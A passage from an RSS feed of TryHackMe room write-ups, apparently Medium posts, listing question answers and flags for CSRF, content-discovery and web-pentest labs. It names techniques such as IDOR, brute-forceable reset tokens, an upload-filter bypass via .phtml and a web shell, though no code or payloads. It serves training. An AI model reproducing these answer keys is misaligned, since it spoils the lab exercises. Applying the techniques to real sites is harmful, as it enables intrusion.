flag value after updating the email to attacker@evilmail.thm? <strong><em>THM{Got_The_Evil_Email001}</em></strong></li><li>What is the flag value after updating the email to special@evilmail.thm? <strong><em>THM{My_Special_Email007}</em></strong></li></ol><h3>Task 6 Exploitation over Weak Tokens</h3><ol><li>What is the flag value after demoting the user from admin to staff? Visit the dashboard page to get the flag. <strong><em>THM{Weak_CSRF_Role_001}</em></strong></li><li>In the above example, what is the name of the encoding scheme used by the developer for encoding CSRF tokens? <strong><em>base64</em></strong></li></ol><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/0*IrDm92b6NtKrDsqd.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9f10794b3b2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Content Discovery | TryHackMe Room Write-up]]></title>
            <link>https://0x7ipher.medium.com/content-discovery-tryhackme-room-write-up-0b8bd0f2117e?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b8bd0f2117e</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[jr-penetration-tester]]></category>
            <category><![CDATA[red-raffle]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Thu, 28 May 2026 17:44:10 GMT</pubDate>
            <atom:updated>2026-05-28T17:44:10.638Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Discover hidden web content using manual techniques, OSINT, and Gobuster enumeration.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iU6SYcHkwpvszf-UIzoaSw.jpeg" /></figure><blockquote><em>Assalam o Alaikum,</em></blockquote><blockquote><em>As we all know, the TryHackMe “</em><strong><em>Red Raffle — Jr. Pentester Path</em></strong><em>” is now live for participation.</em></blockquote><blockquote><em>I’m here to help all students who are facing difficulties while solving the rooms. Instead of wasting time, you can check out my write-ups for guidance and support.</em></blockquote><blockquote><em>Feel free to go through them and improve your learning experience.</em></blockquote><h3>Task 2 Manual Discovery — Common Files</h3><ol><li>What is the directory in robots.txt that isn’t allowed to be viewed by web crawlers? <strong><em>/staff-portal</em></strong></li><li>What is the path of the secret area found in sitemap.xml? /s3cr3t-area</li></ol><h3>Task 3 Manual Discovery — Headers &amp; Framework Stack</h3><ol><li>What is the flag value from the X-FLAG header? <strong><em>THM{HEADER_FLAG}</em></strong></li><li>What is the flag from the framework’s administration portal? <strong><em>THM{CHANGE_DEFAULT_CREDENTIALS}</em></strong></li></ol><h3>Task 4 OSINT — Search Engines &amp; Web Tools</h3><ol><li>What Google dork operator limits results to a specific site? <strong><em>site:</em></strong></li><li>What online tool and browser extension identifies what technologies a website is running? <strong><em>Wappalyzer</em></strong></li></ol><h3>Task 5 OSINT — Repositories &amp; Archives</h3><ol><li>What is the website address for the Wayback Machine? <a href="https://web.archive.org/"><strong><em>https://web.archive.org/</em></strong></a></li><li>What URL format do Amazon S3 buckets end in? (Answer starts with a .)? <strong><em>.s3.amazonaws.com</em></strong></li></ol><h3>Task 6 Automated Discovery — Gobuster Fundamentals</h3><ol><li>What is the name of the directory beginning with /mo that was discovered? <strong><em>/monthly</em></strong></li><li>What is the name of the log file that was discovered? <strong><em>/development.log</em></strong></li></ol><h3>Task 7 Automated Discovery — Subdomains &amp; Virtual Hosts</h3><ol><li>Apart from dns and -w, which shorthand flag is required for dns mode? <strong><em>-d</em></strong></li><li>How many virtual hosts on acmeitsupport.thm respond with status code 200? <strong><em>3</em></strong></li></ol><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/0*nNbQt32oEE7N-MIy.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b8bd0f2117e" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Guided Pentest: Web | TryHackMe Room Write-up]]></title>
            <link>https://0x7ipher.medium.com/guided-pentest-web-tryhackme-room-write-up-53a9d7451ed9?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/53a9d7451ed9</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[the-red-raffle]]></category>
            <category><![CDATA[jr-penetration-tester]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Tue, 26 May 2026 23:20:20 GMT</pubDate>
            <atom:updated>2026-05-26T23:26:05.439Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Learn web app pentesting by chaining vulnerabilities from recon to full server compromise.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*od3e8P4hfFT4rpbSnV80pw.jpeg" /></figure><blockquote><em>Assalam o Alaikum,</em></blockquote><blockquote><em>As we all know, the TryHackMe “</em><strong><em>Red Raffle — Jr. Pentester Path</em></strong><em>” is now live for participation.</em></blockquote><blockquote><em>I’m here to help all students who are facing difficulties while solving the rooms. Instead of wasting time, you can check out my write-ups for guidance and support.</em></blockquote><blockquote><em>Feel free to go through them and improve your learning experience.</em></blockquote><h3>Task 2 Reconnaissance and Enumeration</h3><ol><li>What version of the Apache server is running? <strong><em>2.4.58</em></strong></li><li>What database service is running on the target? <strong><em>MySQL</em></strong></li><li>What is the path to the password reset page? <strong><em>/reset.php</em></strong></li></ol><h3>Task 3 IDOR</h3><ol><li>What is the name of the administrator user? <strong>Sarah Mitchell</strong></li><li>What role does James Crawford hold? <strong>hiring_manager</strong></li></ol><h3>Task 4 Weak Password Reset</h3><ol><li>How many digits long is the reset token? <strong><em>6</em></strong></li><li>After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account in the dashboard? <strong><em>Administrator</em></strong></li></ol><h3>Task 5 Admin Panel Access</h3><ol><li>What is the name of the PHP file responsible for handling file upload in the RecruitX web app? <strong><em>upload.php</em></strong></li><li>What HTML attribute on the file input is used to restrict selectable file extensions on the client side? <strong><em>accept</em></strong></li><li>Which alternative PHP extension bypassed the upload filter? <strong><em>.phtml</em></strong></li></ol><h3>Task 6 Remote Code Execution</h3><ol><li>What user is the web shell running as? <strong><em>www-data</em></strong></li><li>What is the hostname of the target server? <strong>recruitx-prod</strong></li><li>What is the flag? <strong><em>THM{ch41n3d_vulns_4r3_d3v4st4t1ng}</em></strong></li></ol><h3>Task 7 The Attack Chain</h3><ol><li>How many distinct vulnerabilities were chained together in this engagement? <strong><em>4</em></strong></li><li>What approach should be used instead of a blocklist when validating file uploads? <strong><em>allowlist</em></strong></li></ol><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/0*8xamuL8PfyVeZUBN.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53a9d7451ed9" width="1" height="1" alt="">]]></content:encoded>
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